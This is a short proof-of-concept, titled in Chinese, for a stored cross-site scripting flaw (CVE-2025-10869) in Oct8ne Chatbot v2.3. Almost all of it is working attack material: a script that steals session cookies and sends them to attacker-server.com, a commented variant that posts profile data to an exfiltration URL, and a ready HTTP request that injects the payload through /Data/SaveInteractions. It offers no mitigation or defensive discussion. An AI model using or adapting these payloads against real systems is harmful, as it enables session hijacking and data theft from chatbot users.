CVE-2025-10869：Oct8ne Chatbot v2.3 存储型XSS漏洞

<!-- PoC for CVE-2025-10869: Stored XSS in Oct8ne Chatbot v2.3 --> <!-- Attack Vector: Inject malicious payload via /Data/SaveInteractions endpoint --> <!-- Step 1: Craft malicious JavaScript payload to be injected into chat transcript --> <script> // Steal session cookies and send to attacker's server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the user // fetch('/api/user/profile', {credentials: 'include'}).then(r => r.json()).then(data => { // fetch('https://attacker-server.com/exfil', {method: 'POST', body: JSON.stringify(data)}); // }); </script> <!-- Step 2: Send POST request to the vulnerable endpoint /Data/SaveInteractions --> <!-- The payload will be stored in the chat transcript database --> POST /Data/SaveInteractions HTTP/1.1 Host: target-oct8ne-chatbot.com Content-Type: application/json { "interaction": { "message": "<script>var cookie=document.cookie;new Image().src='https://attacker-server.com/steal?cookie='+encodeURIComponent(cookie);</script>", "user": "[email protected]", "sessionId": "abc123" } } <!-- Step 3: When the transcript is sent via email to the victim, --> <!-- the malicious script executes in the victim's browser context --> <!-- upon opening the email or viewing the transcript page -->